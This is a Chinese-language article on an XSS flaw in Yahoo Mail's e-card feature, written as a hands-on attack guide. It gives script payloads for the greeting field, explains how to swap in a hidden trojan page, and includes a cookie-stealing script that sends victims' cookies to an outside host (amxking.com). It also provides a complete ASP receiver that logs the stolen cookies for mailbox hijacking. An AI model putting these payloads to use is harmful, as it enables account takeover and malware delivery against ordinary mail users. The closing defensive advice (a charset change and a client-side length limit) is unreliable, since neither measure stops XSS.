通过与CJ弟弟交流,红科网安AK TEAM漏洞挖掘小组进行了相关测试,验证了该漏洞的存在,并且Amxking等漏洞测试小组成员制作了模
拟传播木马过程演示动画,上报红科网安技术部。
下文为雅虎邮箱贺卡存在XSS漏洞概述:
特殊符号没有过滤
“邮箱贺卡”是雅虎邮箱的一项内置功能,通过“邮箱贺卡”可以很方便地给好友发送Flash贺卡,雅虎对它的安全性进行非常重视,对常见的跨站代码进行
过滤,但雅虎的过滤并不是无懈可击。
<、>、:、"等等特殊符号就没有进行过滤,利用它们可以构建特殊的跨站代码:
"http:";b="//";c="www";d=".baidu";e=".com";window.open(a+b+c+d
+e,"","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,width=500,height=500"),
通过该代码不仅可以大面积挂马,还可以盗取雅虎用户的邮箱。
安全小知识:跨站攻击即Cross Site Script Execution(通常简写为XSS),是指攻击者利用网站程序对用户输入过滤不足,输
入可以显示在页面上对其他用户造成影响的HTML代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。
利用邮箱贺卡挂马
打开雅虎邮箱,注册一个邮箱账号。登录后点击左侧列表中的“邮箱贺卡”,进入“贺卡中心”页面,然后任意选择一张贺卡,点击“发送”按钮开始设
置贺卡内容。
在贺卡的祝福语一栏中填写如下代码:<script defer="defer">var
a,b,c,d,e;a="http:";b="//";c="www";d=".baidu";e=".com";window.open(a+b
+c+d
+e,"","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,width=500,height=500");</
script>,这句代码的意思是打开一个长和宽都为500的百度窗口(图2)。
真正黑客是不会挂百度的,他们会用漏洞工具制作一个网页木马,然后将网页木马上传到网络空间中,将代码中百度的地址替换为木马的地址,将网页木
马的长和宽都设置为0,这样网页木马就看不到了。填写完毕后将贺卡发送给目标,当他打开贺卡时,网页木马就悄悄的在后台运行了。
盗取雅虎用户邮箱
挂马是有成功率的,这取决于用户所装杀毒软件的好坏,但如果我们用跨站攻击来盗取用户的邮箱,那么成功率确是100%的。
第一步:
找到贺卡的写祝福语的地方,在输入框中填写如下代码:<script defer="defer">z=new Image();var
a="http";z.src=a+"://www.amxking.com/cookie.asp?cookie="+escape
(document.cookie); </script>,这句代码的意思是获取用户的Cookie值,发送到http://
www.amxking.com/cookie.asp这个文件中。
第二步:
我们再来构造用来接收用户Cookie值的文件,新建一个文本文件,在里面输入如下代码:
<%
dim getcookie
dim ttime
dim str
getcookie=request("cookie")
ttime=now()
set fs=server.CreateObject("Scripting.FileSystemObject")
set file=fs.OpenTextFile(server.MapPath("cookie.txt"),8,True)
str=ttime & "---" & getcookie
file.writeline(str)
file.close
set file=nothing
set fs=nothing
response.write "<script>location.href='http://mail.cn.yahoo.com'</
script>"
response.end
%>
将该文件另存为cookie.asp。
第三步:
申请一个免费的网页空间,将cookie.asp上传上去,把cookie.asp所在的URL复制下来,替换掉跨站代码中的接收文件URL。
最后填写贺卡的其余选项,将它发送给目标用户。
当对方打开这封电子贺卡的时候,其Cookie将会被窃取,并且发送到与cookie.asp同目录的cookie.txt文件中。得到对方的
Cookie后我们可以通过Cookie欺骗的方法进入到他的邮箱中。
深度分析:
跨站攻击是危害较大的一类黑客攻击,严重的不仅会挂马,还可以窃取用户的Cookie,
最为恐怖的是杀毒软件和防火墙不会报警,因为跨站攻击使用的代码属于正常代码,可以在杀毒软件和防火墙面前畅通无阻。
跨站攻击很早就已出现,但是到现在仍屡见不鲜,其最主要的原因还是因为程序员的疏忽大意,在编程的时候没有做足够的过滤和测试,导致漏洞产生。
作为程序员,为了防止跨站漏洞的产生,可以作以下三点防范措施:
1. 对动态生成的页面的字符进行编码
对动态生成页面的字符进行编码,只要我们把字符编码设成拉丁字符ISO-8859-1就行了: <META http-
equiv="Content-Type" content="text/html;charset=ISO-8859-1">。
2. 过滤和限制所有输入的数据
在ONSUBMIT方法中加入JavaScript程序来完成这个功能,例如限制用户最多只能输入15个字符,这样可以阻止那些较长的跨站代码
的输入。
对普通用户而言,上网时一定要开启杀毒软件的实时监控功能,最好使用带网页木马拦截功能的安全辅助工具。遇到网址,不要盲目点击,先看看网址是
不是被加密过,如果网址被加密过就最好不要点击。